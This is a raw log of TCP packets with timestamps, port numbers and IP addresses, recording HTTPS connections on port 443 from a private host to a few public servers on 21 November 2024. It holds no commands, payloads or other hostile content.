Nov 21, 2024 14:26:53.543726921 CET	49810	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:53.543767929 CET	443	49810	23.1.237.91	192.168.2.5
Nov 21, 2024 14:26:53.543909073 CET	49810	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:53.548964977 CET	49810	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:53.548988104 CET	443	49810	23.1.237.91	192.168.2.5
Nov 21, 2024 14:26:53.638402939 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:53.639631987 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:53.639662027 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:53.640332937 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:53.640343904 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:53.644296885 CET	443	49703	23.1.237.91	192.168.2.5
Nov 21, 2024 14:26:53.646447897 CET	443	49703	23.1.237.91	192.168.2.5
Nov 21, 2024 14:26:53.984880924 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:53.985177994 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:53.985202074 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:53.986084938 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:53.986154079 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:53.986646891 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:53.986701012 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:53.987065077 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:53.987072945 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.035407066 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.073894978 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.073976040 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.074045897 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.074316025 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.074358940 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.074389935 CET	49801	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.074404955 CET	443	49801	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.077641964 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.077692032 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.077775955 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.077989101 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.078005075 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.113985062 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.114593029 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.114639997 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.115006924 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.115019083 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.146197081 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.148927927 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.148947954 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.149596930 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.149601936 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.309361935 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.309978962 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.310029984 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.311098099 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.311111927 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.500022888 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.500060081 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.500068903 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.500111103 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.500135899 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.500153065 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.500180960 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.500195026 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.500220060 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.500250101 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.556045055 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.556324959 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.557843924 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.557919025 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.557962894 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.557992935 CET	49807	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.558008909 CET	443	49807	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.571305037 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.571325064 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.571603060 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.571736097 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.571747065 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.593640089 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.593688965 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.593760967 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.594567060 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.594575882 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.594587088 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.594590902 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.598823071 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.598833084 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.598922014 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.601968050 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.601979017 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.686642885 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.686664104 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.686769009 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.686779022 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:54.686844110 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:54.943845987 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.973659039 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.973716021 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:54.974692106 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:54.974704981 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.055417061 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:55.055425882 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:55.055450916 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:55.055495977 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:55.055510044 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:55.055525064 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:55.055547953 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:55.055586100 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:55.055679083 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.055819035 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.055933952 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.056073904 CET	49805	443	192.168.2.5	13.107.246.44
Nov 21, 2024 14:26:55.056087971 CET	443	49805	13.107.246.44	192.168.2.5
Nov 21, 2024 14:26:55.059957027 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.059999943 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.060050964 CET	49808	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.060065985 CET	443	49808	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.062691927 CET	443	49810	23.1.237.91	192.168.2.5
Nov 21, 2024 14:26:55.062779903 CET	49810	443	192.168.2.5	23.1.237.91
Nov 21, 2024 14:26:55.065516949 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.065602064 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.065704107 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.068809986 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.068845034 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.393570900 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.393625975 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.393727064 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.428766966 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.428796053 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.428814888 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.428822041 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.570707083 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.570802927 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.570888996 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.571260929 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.571300983 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.867974997 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.868439913 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.868510962 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:55.869029999 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:55.869054079 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.322572947 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.322666883 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.322808027 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.322994947 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.323015928 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.323050022 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.323056936 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.326514006 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.326541901 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.326623917 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.326873064 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.326884031 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.354541063 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.355087042 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.355118990 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.355573893 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.355578899 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.422321081 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.427966118 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.427983999 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.428844929 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.428849936 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.809104919 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.809647083 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.809679031 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.810112000 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.810121059 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.822781086 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.822849989 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.822892904 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.823154926 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.823172092 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.823182106 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.823187113 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.826100111 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.826143980 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.826277971 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.826423883 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.826437950 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.857171059 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.857372046 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.857424974 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.857578993 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.857592106 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.857601881 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.857606888 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.860593081 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.860631943 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:56.860749006 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.860996008 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:56.861007929 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.247252941 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.247447014 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.247560024 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.247807980 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.247807980 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.247852087 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.247876883 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.250639915 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.250690937 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.250901937 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.251125097 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.251157045 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.362978935 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.367549896 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.367578983 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.368038893 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.368051052 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.807073116 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.807132006 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:57.809855938 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:57.840312958 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:57.840392113 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:57.841840982 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:58.224941015 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.266073942 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.311152935 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.311183929 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.311203003 CET	49824	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.311211109 CET	443	49824	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.325557947 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.325573921 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.326270103 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.326277018 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.340409994 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.340451956 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.340507984 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.341792107 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.341804028 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.638340950 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.639055014 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.639097929 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.639905930 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.639918089 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.683257103 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.683326006 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.683377981 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.683543921 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.683566093 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.683578014 CET	49825	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.683583975 CET	443	49825	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.688699007 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.688736916 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.688797951 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.689497948 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.689527988 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.717128992 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.717978001 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.717998028 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.718808889 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:58.718813896 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:58.781254053 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:58.781284094 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:59.085567951 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.085650921 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.085700989 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.096657991 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.096693993 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.096714973 CET	49828	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.096724033 CET	443	49828	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.104686022 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.125672102 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.125713110 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.126136065 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.126147985 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.170341969 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.170372963 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.170433044 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.170523882 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.170638084 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.170690060 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.186945915 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.186970949 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.186985016 CET	49829	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.186994076 CET	443	49829	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.242033005 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.242058039 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.258732080 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.258802891 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.258876085 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.267117023 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.267154932 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.563673973 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.563738108 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.563822985 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.575675011 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.575711012 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.575737000 CET	49837	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.575746059 CET	443	49837	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.589993000 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.590076923 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:59.590166092 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.590996981 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:59.591043949 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.192261934 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.193198919 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.193233013 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.193911076 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.193917036 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.475626945 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.498697042 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.498723030 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.499644995 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.499650002 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.647569895 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.647661924 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.647756100 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.920358896 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.920392036 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.920409918 CET	49842	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.920417070 CET	443	49842	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.925142050 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.925163031 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.925201893 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.925209045 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.925225973 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.925231934 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.925239086 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.925295115 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.925432920 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.933423996 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.933437109 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.933445930 CET	49843	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.933450937 CET	443	49843	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.934631109 CET	49857	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.934648037 CET	443	49857	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.937443018 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.937529087 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:00.937611103 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.938143969 CET	49858	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:00.938183069 CET	443	49858	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.031554937 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.032757998 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.032804966 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.038623095 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.038636923 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.074541092 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.075001955 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.075038910 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.075488091 CET	49847	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.075495958 CET	443	49847	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.436161995 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.437731981 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.437793016 CET	443	49849	13.107.246.45	192.168.2.5
Nov 21, 2024 14:27:01.438201904 CET	49849	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:27:01.438215971 CET	443	49849	13.107.246.45	192.168.2.5
